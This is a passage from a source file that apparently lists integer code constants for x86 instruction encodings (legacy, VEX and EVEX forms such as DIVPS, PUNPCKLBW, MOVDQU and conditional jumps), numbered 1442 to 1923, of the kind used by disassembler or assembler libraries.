VEX_VMINSS_XMM_XMM_XMMM32: int = 1442
EVEX_VMINSS_XMM_K1Z_XMM_XMMM32_SAE: int = 1443
MINSD_XMM_XMMM64: int = 1444
VEX_VMINSD_XMM_XMM_XMMM64: int = 1445
EVEX_VMINSD_XMM_K1Z_XMM_XMMM64_SAE: int = 1446
DIVPS_XMM_XMMM128: int = 1447
VEX_VDIVPS_XMM_XMM_XMMM128: int = 1448
VEX_VDIVPS_YMM_YMM_YMMM256: int = 1449
EVEX_VDIVPS_XMM_K1Z_XMM_XMMM128B32: int = 1450
EVEX_VDIVPS_YMM_K1Z_YMM_YMMM256B32: int = 1451
EVEX_VDIVPS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 1452
DIVPD_XMM_XMMM128: int = 1453
VEX_VDIVPD_XMM_XMM_XMMM128: int = 1454
VEX_VDIVPD_YMM_YMM_YMMM256: int = 1455
EVEX_VDIVPD_XMM_K1Z_XMM_XMMM128B64: int = 1456
EVEX_VDIVPD_YMM_K1Z_YMM_YMMM256B64: int = 1457
EVEX_VDIVPD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 1458
DIVSS_XMM_XMMM32: int = 1459
VEX_VDIVSS_XMM_XMM_XMMM32: int = 1460
EVEX_VDIVSS_XMM_K1Z_XMM_XMMM32_ER: int = 1461
DIVSD_XMM_XMMM64: int = 1462
VEX_VDIVSD_XMM_XMM_XMMM64: int = 1463
EVEX_VDIVSD_XMM_K1Z_XMM_XMMM64_ER: int = 1464
MAXPS_XMM_XMMM128: int = 1465
VEX_VMAXPS_XMM_XMM_XMMM128: int = 1466
VEX_VMAXPS_YMM_YMM_YMMM256: int = 1467
EVEX_VMAXPS_XMM_K1Z_XMM_XMMM128B32: int = 1468
EVEX_VMAXPS_YMM_K1Z_YMM_YMMM256B32: int = 1469
EVEX_VMAXPS_ZMM_K1Z_ZMM_ZMMM512B32_SAE: int = 1470
MAXPD_XMM_XMMM128: int = 1471
VEX_VMAXPD_XMM_XMM_XMMM128: int = 1472
VEX_VMAXPD_YMM_YMM_YMMM256: int = 1473
EVEX_VMAXPD_XMM_K1Z_XMM_XMMM128B64: int = 1474
EVEX_VMAXPD_YMM_K1Z_YMM_YMMM256B64: int = 1475
EVEX_VMAXPD_ZMM_K1Z_ZMM_ZMMM512B64_SAE: int = 1476
MAXSS_XMM_XMMM32: int = 1477
VEX_VMAXSS_XMM_XMM_XMMM32: int = 1478
EVEX_VMAXSS_XMM_K1Z_XMM_XMMM32_SAE: int = 1479
MAXSD_XMM_XMMM64: int = 1480
VEX_VMAXSD_XMM_XMM_XMMM64: int = 1481
EVEX_VMAXSD_XMM_K1Z_XMM_XMMM64_SAE: int = 1482
PUNPCKLBW_MM_MMM32: int = 1483
PUNPCKLBW_XMM_XMMM128: int = 1484
VEX_VPUNPCKLBW_XMM_XMM_XMMM128: int = 1485
VEX_VPUNPCKLBW_YMM_YMM_YMMM256: int = 1486
EVEX_VPUNPCKLBW_XMM_K1Z_XMM_XMMM128: int = 1487
EVEX_VPUNPCKLBW_YMM_K1Z_YMM_YMMM256: int = 1488
EVEX_VPUNPCKLBW_ZMM_K1Z_ZMM_ZMMM512: int = 1489
PUNPCKLWD_MM_MMM32: int = 1490
PUNPCKLWD_XMM_XMMM128: int = 1491
VEX_VPUNPCKLWD_XMM_XMM_XMMM128: int = 1492
VEX_VPUNPCKLWD_YMM_YMM_YMMM256: int = 1493
EVEX_VPUNPCKLWD_XMM_K1Z_XMM_XMMM128: int = 1494
EVEX_VPUNPCKLWD_YMM_K1Z_YMM_YMMM256: int = 1495
EVEX_VPUNPCKLWD_ZMM_K1Z_ZMM_ZMMM512: int = 1496
PUNPCKLDQ_MM_MMM32: int = 1497
PUNPCKLDQ_XMM_XMMM128: int = 1498
VEX_VPUNPCKLDQ_XMM_XMM_XMMM128: int = 1499
VEX_VPUNPCKLDQ_YMM_YMM_YMMM256: int = 1500
EVEX_VPUNPCKLDQ_XMM_K1Z_XMM_XMMM128B32: int = 1501
EVEX_VPUNPCKLDQ_YMM_K1Z_YMM_YMMM256B32: int = 1502
EVEX_VPUNPCKLDQ_ZMM_K1Z_ZMM_ZMMM512B32: int = 1503
PACKSSWB_MM_MMM64: int = 1504
PACKSSWB_XMM_XMMM128: int = 1505
VEX_VPACKSSWB_XMM_XMM_XMMM128: int = 1506
VEX_VPACKSSWB_YMM_YMM_YMMM256: int = 1507
EVEX_VPACKSSWB_XMM_K1Z_XMM_XMMM128: int = 1508
EVEX_VPACKSSWB_YMM_K1Z_YMM_YMMM256: int = 1509
EVEX_VPACKSSWB_ZMM_K1Z_ZMM_ZMMM512: int = 1510
PCMPGTB_MM_MMM64: int = 1511
PCMPGTB_XMM_XMMM128: int = 1512
VEX_VPCMPGTB_XMM_XMM_XMMM128: int = 1513
VEX_VPCMPGTB_YMM_YMM_YMMM256: int = 1514
EVEX_VPCMPGTB_KR_K1_XMM_XMMM128: int = 1515
EVEX_VPCMPGTB_KR_K1_YMM_YMMM256: int = 1516
EVEX_VPCMPGTB_KR_K1_ZMM_ZMMM512: int = 1517
PCMPGTW_MM_MMM64: int = 1518
PCMPGTW_XMM_XMMM128: int = 1519
VEX_VPCMPGTW_XMM_XMM_XMMM128: int = 1520
VEX_VPCMPGTW_YMM_YMM_YMMM256: int = 1521
EVEX_VPCMPGTW_KR_K1_XMM_XMMM128: int = 1522
EVEX_VPCMPGTW_KR_K1_YMM_YMMM256: int = 1523
EVEX_VPCMPGTW_KR_K1_ZMM_ZMMM512: int = 1524
PCMPGTD_MM_MMM64: int = 1525
PCMPGTD_XMM_XMMM128: int = 1526
VEX_VPCMPGTD_XMM_XMM_XMMM128: int = 1527
VEX_VPCMPGTD_YMM_YMM_YMMM256: int = 1528
EVEX_VPCMPGTD_KR_K1_XMM_XMMM128B32: int = 1529
EVEX_VPCMPGTD_KR_K1_YMM_YMMM256B32: int = 1530
EVEX_VPCMPGTD_KR_K1_ZMM_ZMMM512B32: int = 1531
PACKUSWB_MM_MMM64: int = 1532
PACKUSWB_XMM_XMMM128: int = 1533
VEX_VPACKUSWB_XMM_XMM_XMMM128: int = 1534
VEX_VPACKUSWB_YMM_YMM_YMMM256: int = 1535
EVEX_VPACKUSWB_XMM_K1Z_XMM_XMMM128: int = 1536
EVEX_VPACKUSWB_YMM_K1Z_YMM_YMMM256: int = 1537
EVEX_VPACKUSWB_ZMM_K1Z_ZMM_ZMMM512: int = 1538
PUNPCKHBW_MM_MMM64: int = 1539
PUNPCKHBW_XMM_XMMM128: int = 1540
VEX_VPUNPCKHBW_XMM_XMM_XMMM128: int = 1541
VEX_VPUNPCKHBW_YMM_YMM_YMMM256: int = 1542
EVEX_VPUNPCKHBW_XMM_K1Z_XMM_XMMM128: int = 1543
EVEX_VPUNPCKHBW_YMM_K1Z_YMM_YMMM256: int = 1544
EVEX_VPUNPCKHBW_ZMM_K1Z_ZMM_ZMMM512: int = 1545
PUNPCKHWD_MM_MMM64: int = 1546
PUNPCKHWD_XMM_XMMM128: int = 1547
VEX_VPUNPCKHWD_XMM_XMM_XMMM128: int = 1548
VEX_VPUNPCKHWD_YMM_YMM_YMMM256: int = 1549
EVEX_VPUNPCKHWD_XMM_K1Z_XMM_XMMM128: int = 1550
EVEX_VPUNPCKHWD_YMM_K1Z_YMM_YMMM256: int = 1551
EVEX_VPUNPCKHWD_ZMM_K1Z_ZMM_ZMMM512: int = 1552
PUNPCKHDQ_MM_MMM64: int = 1553
PUNPCKHDQ_XMM_XMMM128: int = 1554
VEX_VPUNPCKHDQ_XMM_XMM_XMMM128: int = 1555
VEX_VPUNPCKHDQ_YMM_YMM_YMMM256: int = 1556
EVEX_VPUNPCKHDQ_XMM_K1Z_XMM_XMMM128B32: int = 1557
EVEX_VPUNPCKHDQ_YMM_K1Z_YMM_YMMM256B32: int = 1558
EVEX_VPUNPCKHDQ_ZMM_K1Z_ZMM_ZMMM512B32: int = 1559
PACKSSDW_MM_MMM64: int = 1560
PACKSSDW_XMM_XMMM128: int = 1561
VEX_VPACKSSDW_XMM_XMM_XMMM128: int = 1562
VEX_VPACKSSDW_YMM_YMM_YMMM256: int = 1563
EVEX_VPACKSSDW_XMM_K1Z_XMM_XMMM128B32: int = 1564
EVEX_VPACKSSDW_YMM_K1Z_YMM_YMMM256B32: int = 1565
EVEX_VPACKSSDW_ZMM_K1Z_ZMM_ZMMM512B32: int = 1566
PUNPCKLQDQ_XMM_XMMM128: int = 1567
VEX_VPUNPCKLQDQ_XMM_XMM_XMMM128: int = 1568
VEX_VPUNPCKLQDQ_YMM_YMM_YMMM256: int = 1569
EVEX_VPUNPCKLQDQ_XMM_K1Z_XMM_XMMM128B64: int = 1570
EVEX_VPUNPCKLQDQ_YMM_K1Z_YMM_YMMM256B64: int = 1571
EVEX_VPUNPCKLQDQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 1572
PUNPCKHQDQ_XMM_XMMM128: int = 1573
VEX_VPUNPCKHQDQ_XMM_XMM_XMMM128: int = 1574
VEX_VPUNPCKHQDQ_YMM_YMM_YMMM256: int = 1575
EVEX_VPUNPCKHQDQ_XMM_K1Z_XMM_XMMM128B64: int = 1576
EVEX_VPUNPCKHQDQ_YMM_K1Z_YMM_YMMM256B64: int = 1577
EVEX_VPUNPCKHQDQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 1578
MOVD_MM_RM32: int = 1579
MOVQ_MM_RM64: int = 1580
MOVD_XMM_RM32: int = 1581
MOVQ_XMM_RM64: int = 1582
VEX_VMOVD_XMM_RM32: int = 1583
VEX_VMOVQ_XMM_RM64: int = 1584
EVEX_VMOVD_XMM_RM32: int = 1585
EVEX_VMOVQ_XMM_RM64: int = 1586
MOVQ_MM_MMM64: int = 1587
MOVDQA_XMM_XMMM128: int = 1588
VEX_VMOVDQA_XMM_XMMM128: int = 1589
VEX_VMOVDQA_YMM_YMMM256: int = 1590
EVEX_VMOVDQA32_XMM_K1Z_XMMM128: int = 1591
EVEX_VMOVDQA32_YMM_K1Z_YMMM256: int = 1592
EVEX_VMOVDQA32_ZMM_K1Z_ZMMM512: int = 1593
EVEX_VMOVDQA64_XMM_K1Z_XMMM128: int = 1594
EVEX_VMOVDQA64_YMM_K1Z_YMMM256: int = 1595
EVEX_VMOVDQA64_ZMM_K1Z_ZMMM512: int = 1596
MOVDQU_XMM_XMMM128: int = 1597
VEX_VMOVDQU_XMM_XMMM128: int = 1598
VEX_VMOVDQU_YMM_YMMM256: int = 1599
EVEX_VMOVDQU32_XMM_K1Z_XMMM128: int = 1600
EVEX_VMOVDQU32_YMM_K1Z_YMMM256: int = 1601
EVEX_VMOVDQU32_ZMM_K1Z_ZMMM512: int = 1602
EVEX_VMOVDQU64_XMM_K1Z_XMMM128: int = 1603
EVEX_VMOVDQU64_YMM_K1Z_YMMM256: int = 1604
EVEX_VMOVDQU64_ZMM_K1Z_ZMMM512: int = 1605
EVEX_VMOVDQU8_XMM_K1Z_XMMM128: int = 1606
EVEX_VMOVDQU8_YMM_K1Z_YMMM256: int = 1607
EVEX_VMOVDQU8_ZMM_K1Z_ZMMM512: int = 1608
EVEX_VMOVDQU16_XMM_K1Z_XMMM128: int = 1609
EVEX_VMOVDQU16_YMM_K1Z_YMMM256: int = 1610
EVEX_VMOVDQU16_ZMM_K1Z_ZMMM512: int = 1611
PSHUFW_MM_MMM64_IMM8: int = 1612
PSHUFD_XMM_XMMM128_IMM8: int = 1613
VEX_VPSHUFD_XMM_XMMM128_IMM8: int = 1614
VEX_VPSHUFD_YMM_YMMM256_IMM8: int = 1615
EVEX_VPSHUFD_XMM_K1Z_XMMM128B32_IMM8: int = 1616
EVEX_VPSHUFD_YMM_K1Z_YMMM256B32_IMM8: int = 1617
EVEX_VPSHUFD_ZMM_K1Z_ZMMM512B32_IMM8: int = 1618
PSHUFHW_XMM_XMMM128_IMM8: int = 1619
VEX_VPSHUFHW_XMM_XMMM128_IMM8: int = 1620
VEX_VPSHUFHW_YMM_YMMM256_IMM8: int = 1621
EVEX_VPSHUFHW_XMM_K1Z_XMMM128_IMM8: int = 1622
EVEX_VPSHUFHW_YMM_K1Z_YMMM256_IMM8: int = 1623
EVEX_VPSHUFHW_ZMM_K1Z_ZMMM512_IMM8: int = 1624
PSHUFLW_XMM_XMMM128_IMM8: int = 1625
VEX_VPSHUFLW_XMM_XMMM128_IMM8: int = 1626
VEX_VPSHUFLW_YMM_YMMM256_IMM8: int = 1627
EVEX_VPSHUFLW_XMM_K1Z_XMMM128_IMM8: int = 1628
EVEX_VPSHUFLW_YMM_K1Z_YMMM256_IMM8: int = 1629
EVEX_VPSHUFLW_ZMM_K1Z_ZMMM512_IMM8: int = 1630
PSRLW_MM_IMM8: int = 1631
PSRLW_XMM_IMM8: int = 1632
VEX_VPSRLW_XMM_XMM_IMM8: int = 1633
VEX_VPSRLW_YMM_YMM_IMM8: int = 1634
EVEX_VPSRLW_XMM_K1Z_XMMM128_IMM8: int = 1635
EVEX_VPSRLW_YMM_K1Z_YMMM256_IMM8: int = 1636
EVEX_VPSRLW_ZMM_K1Z_ZMMM512_IMM8: int = 1637
PSRAW_MM_IMM8: int = 1638
PSRAW_XMM_IMM8: int = 1639
VEX_VPSRAW_XMM_XMM_IMM8: int = 1640
VEX_VPSRAW_YMM_YMM_IMM8: int = 1641
EVEX_VPSRAW_XMM_K1Z_XMMM128_IMM8: int = 1642
EVEX_VPSRAW_YMM_K1Z_YMMM256_IMM8: int = 1643
EVEX_VPSRAW_ZMM_K1Z_ZMMM512_IMM8: int = 1644
PSLLW_MM_IMM8: int = 1645
PSLLW_XMM_IMM8: int = 1646
VEX_VPSLLW_XMM_XMM_IMM8: int = 1647
VEX_VPSLLW_YMM_YMM_IMM8: int = 1648
EVEX_VPSLLW_XMM_K1Z_XMMM128_IMM8: int = 1649
EVEX_VPSLLW_YMM_K1Z_YMMM256_IMM8: int = 1650
EVEX_VPSLLW_ZMM_K1Z_ZMMM512_IMM8: int = 1651
EVEX_VPRORD_XMM_K1Z_XMMM128B32_IMM8: int = 1652
EVEX_VPRORD_YMM_K1Z_YMMM256B32_IMM8: int = 1653
EVEX_VPRORD_ZMM_K1Z_ZMMM512B32_IMM8: int = 1654
EVEX_VPRORQ_XMM_K1Z_XMMM128B64_IMM8: int = 1655
EVEX_VPRORQ_YMM_K1Z_YMMM256B64_IMM8: int = 1656
EVEX_VPRORQ_ZMM_K1Z_ZMMM512B64_IMM8: int = 1657
EVEX_VPROLD_XMM_K1Z_XMMM128B32_IMM8: int = 1658
EVEX_VPROLD_YMM_K1Z_YMMM256B32_IMM8: int = 1659
EVEX_VPROLD_ZMM_K1Z_ZMMM512B32_IMM8: int = 1660
EVEX_VPROLQ_XMM_K1Z_XMMM128B64_IMM8: int = 1661
EVEX_VPROLQ_YMM_K1Z_YMMM256B64_IMM8: int = 1662
EVEX_VPROLQ_ZMM_K1Z_ZMMM512B64_IMM8: int = 1663
PSRLD_MM_IMM8: int = 1664
PSRLD_XMM_IMM8: int = 1665
VEX_VPSRLD_XMM_XMM_IMM8: int = 1666
VEX_VPSRLD_YMM_YMM_IMM8: int = 1667
EVEX_VPSRLD_XMM_K1Z_XMMM128B32_IMM8: int = 1668
EVEX_VPSRLD_YMM_K1Z_YMMM256B32_IMM8: int = 1669
EVEX_VPSRLD_ZMM_K1Z_ZMMM512B32_IMM8: int = 1670
PSRAD_MM_IMM8: int = 1671
PSRAD_XMM_IMM8: int = 1672
VEX_VPSRAD_XMM_XMM_IMM8: int = 1673
VEX_VPSRAD_YMM_YMM_IMM8: int = 1674
EVEX_VPSRAD_XMM_K1Z_XMMM128B32_IMM8: int = 1675
EVEX_VPSRAD_YMM_K1Z_YMMM256B32_IMM8: int = 1676
EVEX_VPSRAD_ZMM_K1Z_ZMMM512B32_IMM8: int = 1677
EVEX_VPSRAQ_XMM_K1Z_XMMM128B64_IMM8: int = 1678
EVEX_VPSRAQ_YMM_K1Z_YMMM256B64_IMM8: int = 1679
EVEX_VPSRAQ_ZMM_K1Z_ZMMM512B64_IMM8: int = 1680
PSLLD_MM_IMM8: int = 1681
PSLLD_XMM_IMM8: int = 1682
VEX_VPSLLD_XMM_XMM_IMM8: int = 1683
VEX_VPSLLD_YMM_YMM_IMM8: int = 1684
EVEX_VPSLLD_XMM_K1Z_XMMM128B32_IMM8: int = 1685
EVEX_VPSLLD_YMM_K1Z_YMMM256B32_IMM8: int = 1686
EVEX_VPSLLD_ZMM_K1Z_ZMMM512B32_IMM8: int = 1687
PSRLQ_MM_IMM8: int = 1688
PSRLQ_XMM_IMM8: int = 1689
VEX_VPSRLQ_XMM_XMM_IMM8: int = 1690
VEX_VPSRLQ_YMM_YMM_IMM8: int = 1691
EVEX_VPSRLQ_XMM_K1Z_XMMM128B64_IMM8: int = 1692
EVEX_VPSRLQ_YMM_K1Z_YMMM256B64_IMM8: int = 1693
EVEX_VPSRLQ_ZMM_K1Z_ZMMM512B64_IMM8: int = 1694
PSRLDQ_XMM_IMM8: int = 1695
VEX_VPSRLDQ_XMM_XMM_IMM8: int = 1696
VEX_VPSRLDQ_YMM_YMM_IMM8: int = 1697
EVEX_VPSRLDQ_XMM_XMMM128_IMM8: int = 1698
EVEX_VPSRLDQ_YMM_YMMM256_IMM8: int = 1699
EVEX_VPSRLDQ_ZMM_ZMMM512_IMM8: int = 1700
PSLLQ_MM_IMM8: int = 1701
PSLLQ_XMM_IMM8: int = 1702
VEX_VPSLLQ_XMM_XMM_IMM8: int = 1703
VEX_VPSLLQ_YMM_YMM_IMM8: int = 1704
EVEX_VPSLLQ_XMM_K1Z_XMMM128B64_IMM8: int = 1705
EVEX_VPSLLQ_YMM_K1Z_YMMM256B64_IMM8: int = 1706
EVEX_VPSLLQ_ZMM_K1Z_ZMMM512B64_IMM8: int = 1707
PSLLDQ_XMM_IMM8: int = 1708
VEX_VPSLLDQ_XMM_XMM_IMM8: int = 1709
VEX_VPSLLDQ_YMM_YMM_IMM8: int = 1710
EVEX_VPSLLDQ_XMM_XMMM128_IMM8: int = 1711
EVEX_VPSLLDQ_YMM_YMMM256_IMM8: int = 1712
EVEX_VPSLLDQ_ZMM_ZMMM512_IMM8: int = 1713
PCMPEQB_MM_MMM64: int = 1714
PCMPEQB_XMM_XMMM128: int = 1715
VEX_VPCMPEQB_XMM_XMM_XMMM128: int = 1716
VEX_VPCMPEQB_YMM_YMM_YMMM256: int = 1717
EVEX_VPCMPEQB_KR_K1_XMM_XMMM128: int = 1718
EVEX_VPCMPEQB_KR_K1_YMM_YMMM256: int = 1719
EVEX_VPCMPEQB_KR_K1_ZMM_ZMMM512: int = 1720
PCMPEQW_MM_MMM64: int = 1721
PCMPEQW_XMM_XMMM128: int = 1722
VEX_VPCMPEQW_XMM_XMM_XMMM128: int = 1723
VEX_VPCMPEQW_YMM_YMM_YMMM256: int = 1724
EVEX_VPCMPEQW_KR_K1_XMM_XMMM128: int = 1725
EVEX_VPCMPEQW_KR_K1_YMM_YMMM256: int = 1726
EVEX_VPCMPEQW_KR_K1_ZMM_ZMMM512: int = 1727
PCMPEQD_MM_MMM64: int = 1728
PCMPEQD_XMM_XMMM128: int = 1729
VEX_VPCMPEQD_XMM_XMM_XMMM128: int = 1730
VEX_VPCMPEQD_YMM_YMM_YMMM256: int = 1731
EVEX_VPCMPEQD_KR_K1_XMM_XMMM128B32: int = 1732
EVEX_VPCMPEQD_KR_K1_YMM_YMMM256B32: int = 1733
EVEX_VPCMPEQD_KR_K1_ZMM_ZMMM512B32: int = 1734
EMMS: int = 1735
VEX_VZEROUPPER: int = 1736
VEX_VZEROALL: int = 1737
VMREAD_RM32_R32: int = 1738
VMREAD_RM64_R64: int = 1739
EVEX_VCVTTPS2UDQ_XMM_K1Z_XMMM128B32: int = 1740
EVEX_VCVTTPS2UDQ_YMM_K1Z_YMMM256B32: int = 1741
EVEX_VCVTTPS2UDQ_ZMM_K1Z_ZMMM512B32_SAE: int = 1742
EVEX_VCVTTPD2UDQ_XMM_K1Z_XMMM128B64: int = 1743
EVEX_VCVTTPD2UDQ_XMM_K1Z_YMMM256B64: int = 1744
EVEX_VCVTTPD2UDQ_YMM_K1Z_ZMMM512B64_SAE: int = 1745
EXTRQ_XMM_IMM8_IMM8: int = 1746
EVEX_VCVTTPS2UQQ_XMM_K1Z_XMMM64B32: int = 1747
EVEX_VCVTTPS2UQQ_YMM_K1Z_XMMM128B32: int = 1748
EVEX_VCVTTPS2UQQ_ZMM_K1Z_YMMM256B32_SAE: int = 1749
EVEX_VCVTTPD2UQQ_XMM_K1Z_XMMM128B64: int = 1750
EVEX_VCVTTPD2UQQ_YMM_K1Z_YMMM256B64: int = 1751
EVEX_VCVTTPD2UQQ_ZMM_K1Z_ZMMM512B64_SAE: int = 1752
EVEX_VCVTTSS2USI_R32_XMMM32_SAE: int = 1753
EVEX_VCVTTSS2USI_R64_XMMM32_SAE: int = 1754
INSERTQ_XMM_XMM_IMM8_IMM8: int = 1755
EVEX_VCVTTSD2USI_R32_XMMM64_SAE: int = 1756
EVEX_VCVTTSD2USI_R64_XMMM64_SAE: int = 1757
VMWRITE_R32_RM32: int = 1758
VMWRITE_R64_RM64: int = 1759
EVEX_VCVTPS2UDQ_XMM_K1Z_XMMM128B32: int = 1760
EVEX_VCVTPS2UDQ_YMM_K1Z_YMMM256B32: int = 1761
EVEX_VCVTPS2UDQ_ZMM_K1Z_ZMMM512B32_ER: int = 1762
EVEX_VCVTPD2UDQ_XMM_K1Z_XMMM128B64: int = 1763
EVEX_VCVTPD2UDQ_XMM_K1Z_YMMM256B64: int = 1764
EVEX_VCVTPD2UDQ_YMM_K1Z_ZMMM512B64_ER: int = 1765
EXTRQ_XMM_XMM: int = 1766
EVEX_VCVTPS2UQQ_XMM_K1Z_XMMM64B32: int = 1767
EVEX_VCVTPS2UQQ_YMM_K1Z_XMMM128B32: int = 1768
EVEX_VCVTPS2UQQ_ZMM_K1Z_YMMM256B32_ER: int = 1769
EVEX_VCVTPD2UQQ_XMM_K1Z_XMMM128B64: int = 1770
EVEX_VCVTPD2UQQ_YMM_K1Z_YMMM256B64: int = 1771
EVEX_VCVTPD2UQQ_ZMM_K1Z_ZMMM512B64_ER: int = 1772
EVEX_VCVTSS2USI_R32_XMMM32_ER: int = 1773
EVEX_VCVTSS2USI_R64_XMMM32_ER: int = 1774
INSERTQ_XMM_XMM: int = 1775
EVEX_VCVTSD2USI_R32_XMMM64_ER: int = 1776
EVEX_VCVTSD2USI_R64_XMMM64_ER: int = 1777
EVEX_VCVTTPS2QQ_XMM_K1Z_XMMM64B32: int = 1778
EVEX_VCVTTPS2QQ_YMM_K1Z_XMMM128B32: int = 1779
EVEX_VCVTTPS2QQ_ZMM_K1Z_YMMM256B32_SAE: int = 1780
EVEX_VCVTTPD2QQ_XMM_K1Z_XMMM128B64: int = 1781
EVEX_VCVTTPD2QQ_YMM_K1Z_YMMM256B64: int = 1782
EVEX_VCVTTPD2QQ_ZMM_K1Z_ZMMM512B64_SAE: int = 1783
EVEX_VCVTUDQ2PD_XMM_K1Z_XMMM64B32: int = 1784
EVEX_VCVTUDQ2PD_YMM_K1Z_XMMM128B32: int = 1785
EVEX_VCVTUDQ2PD_ZMM_K1Z_YMMM256B32_ER: int = 1786
EVEX_VCVTUQQ2PD_XMM_K1Z_XMMM128B64: int = 1787
EVEX_VCVTUQQ2PD_YMM_K1Z_YMMM256B64: int = 1788
EVEX_VCVTUQQ2PD_ZMM_K1Z_ZMMM512B64_ER: int = 1789
EVEX_VCVTUDQ2PS_XMM_K1Z_XMMM128B32: int = 1790
EVEX_VCVTUDQ2PS_YMM_K1Z_YMMM256B32: int = 1791
EVEX_VCVTUDQ2PS_ZMM_K1Z_ZMMM512B32_ER: int = 1792
EVEX_VCVTUQQ2PS_XMM_K1Z_XMMM128B64: int = 1793
EVEX_VCVTUQQ2PS_XMM_K1Z_YMMM256B64: int = 1794
EVEX_VCVTUQQ2PS_YMM_K1Z_ZMMM512B64_ER: int = 1795
EVEX_VCVTPS2QQ_XMM_K1Z_XMMM64B32: int = 1796
EVEX_VCVTPS2QQ_YMM_K1Z_XMMM128B32: int = 1797
EVEX_VCVTPS2QQ_ZMM_K1Z_YMMM256B32_ER: int = 1798
EVEX_VCVTPD2QQ_XMM_K1Z_XMMM128B64: int = 1799
EVEX_VCVTPD2QQ_YMM_K1Z_YMMM256B64: int = 1800
EVEX_VCVTPD2QQ_ZMM_K1Z_ZMMM512B64_ER: int = 1801
EVEX_VCVTUSI2SS_XMM_XMM_RM32_ER: int = 1802
EVEX_VCVTUSI2SS_XMM_XMM_RM64_ER: int = 1803
EVEX_VCVTUSI2SD_XMM_XMM_RM32_ER: int = 1804
EVEX_VCVTUSI2SD_XMM_XMM_RM64_ER: int = 1805
HADDPD_XMM_XMMM128: int = 1806
VEX_VHADDPD_XMM_XMM_XMMM128: int = 1807
VEX_VHADDPD_YMM_YMM_YMMM256: int = 1808
HADDPS_XMM_XMMM128: int = 1809
VEX_VHADDPS_XMM_XMM_XMMM128: int = 1810
VEX_VHADDPS_YMM_YMM_YMMM256: int = 1811
HSUBPD_XMM_XMMM128: int = 1812
VEX_VHSUBPD_XMM_XMM_XMMM128: int = 1813
VEX_VHSUBPD_YMM_YMM_YMMM256: int = 1814
HSUBPS_XMM_XMMM128: int = 1815
VEX_VHSUBPS_XMM_XMM_XMMM128: int = 1816
VEX_VHSUBPS_YMM_YMM_YMMM256: int = 1817
MOVD_RM32_MM: int = 1818
MOVQ_RM64_MM: int = 1819
MOVD_RM32_XMM: int = 1820
MOVQ_RM64_XMM: int = 1821
VEX_VMOVD_RM32_XMM: int = 1822
VEX_VMOVQ_RM64_XMM: int = 1823
EVEX_VMOVD_RM32_XMM: int = 1824
EVEX_VMOVQ_RM64_XMM: int = 1825
MOVQ_XMM_XMMM64: int = 1826
VEX_VMOVQ_XMM_XMMM64: int = 1827
EVEX_VMOVQ_XMM_XMMM64: int = 1828
MOVQ_MMM64_MM: int = 1829
MOVDQA_XMMM128_XMM: int = 1830
VEX_VMOVDQA_XMMM128_XMM: int = 1831
VEX_VMOVDQA_YMMM256_YMM: int = 1832
EVEX_VMOVDQA32_XMMM128_K1Z_XMM: int = 1833
EVEX_VMOVDQA32_YMMM256_K1Z_YMM: int = 1834
EVEX_VMOVDQA32_ZMMM512_K1Z_ZMM: int = 1835
EVEX_VMOVDQA64_XMMM128_K1Z_XMM: int = 1836
EVEX_VMOVDQA64_YMMM256_K1Z_YMM: int = 1837
EVEX_VMOVDQA64_ZMMM512_K1Z_ZMM: int = 1838
MOVDQU_XMMM128_XMM: int = 1839
VEX_VMOVDQU_XMMM128_XMM: int = 1840
VEX_VMOVDQU_YMMM256_YMM: int = 1841
EVEX_VMOVDQU32_XMMM128_K1Z_XMM: int = 1842
EVEX_VMOVDQU32_YMMM256_K1Z_YMM: int = 1843
EVEX_VMOVDQU32_ZMMM512_K1Z_ZMM: int = 1844
EVEX_VMOVDQU64_XMMM128_K1Z_XMM: int = 1845
EVEX_VMOVDQU64_YMMM256_K1Z_YMM: int = 1846
EVEX_VMOVDQU64_ZMMM512_K1Z_ZMM: int = 1847
EVEX_VMOVDQU8_XMMM128_K1Z_XMM: int = 1848
EVEX_VMOVDQU8_YMMM256_K1Z_YMM: int = 1849
EVEX_VMOVDQU8_ZMMM512_K1Z_ZMM: int = 1850
EVEX_VMOVDQU16_XMMM128_K1Z_XMM: int = 1851
EVEX_VMOVDQU16_YMMM256_K1Z_YMM: int = 1852
EVEX_VMOVDQU16_ZMMM512_K1Z_ZMM: int = 1853
JO_REL16: int = 1854
JO_REL32_32: int = 1855
JO_REL32_64: int = 1856
JNO_REL16: int = 1857
JNO_REL32_32: int = 1858
JNO_REL32_64: int = 1859
JB_REL16: int = 1860
JB_REL32_32: int = 1861
JB_REL32_64: int = 1862
JAE_REL16: int = 1863
JAE_REL32_32: int = 1864
JAE_REL32_64: int = 1865
JE_REL16: int = 1866
JE_REL32_32: int = 1867
JE_REL32_64: int = 1868
JNE_REL16: int = 1869
JNE_REL32_32: int = 1870
JNE_REL32_64: int = 1871
JBE_REL16: int = 1872
JBE_REL32_32: int = 1873
JBE_REL32_64: int = 1874
JA_REL16: int = 1875
JA_REL32_32: int = 1876
JA_REL32_64: int = 1877
JS_REL16: int = 1878
JS_REL32_32: int = 1879
JS_REL32_64: int = 1880
JNS_REL16: int = 1881
JNS_REL32_32: int = 1882
JNS_REL32_64: int = 1883
JP_REL16: int = 1884
JP_REL32_32: int = 1885
JP_REL32_64: int = 1886
JNP_REL16: int = 1887
JNP_REL32_32: int = 1888
JNP_REL32_64: int = 1889
JL_REL16: int = 1890
JL_REL32_32: int = 1891
JL_REL32_64: int = 1892
JGE_REL16: int = 1893
JGE_REL32_32: int = 1894
JGE_REL32_64: int = 1895
JLE_REL16: int = 1896
JLE_REL32_32: int = 1897
JLE_REL32_64: int = 1898
JG_REL16: int = 1899
JG_REL32_32: int = 1900
JG_REL32_64: int = 1901
SETO_RM8: int = 1902
SETNO_RM8: int = 1903
SETB_RM8: int = 1904
SETAE_RM8: int = 1905
SETE_RM8: int = 1906
SETNE_RM8: int = 1907
SETBE_RM8: int = 1908
SETA_RM8: int = 1909
SETS_RM8: int = 1910
SETNS_RM8: int = 1911
SETP_RM8: int = 1912
SETNP_RM8: int = 1913
SETL_RM8: int = 1914
SETGE_RM8: int = 1915
SETLE_RM8: int = 1916
SETG_RM8: int = 1917
VEX_KMOVW_KR_KM16: int = 1918
VEX_KMOVQ_KR_KM64: int = 1919
VEX_KMOVB_KR_KM8: int = 1920
VEX_KMOVD_KR_KM32: int = 1921
VEX_KMOVW_M16_KR: int = 1922
VEX_KMOVQ_M64_KR: int = 1923
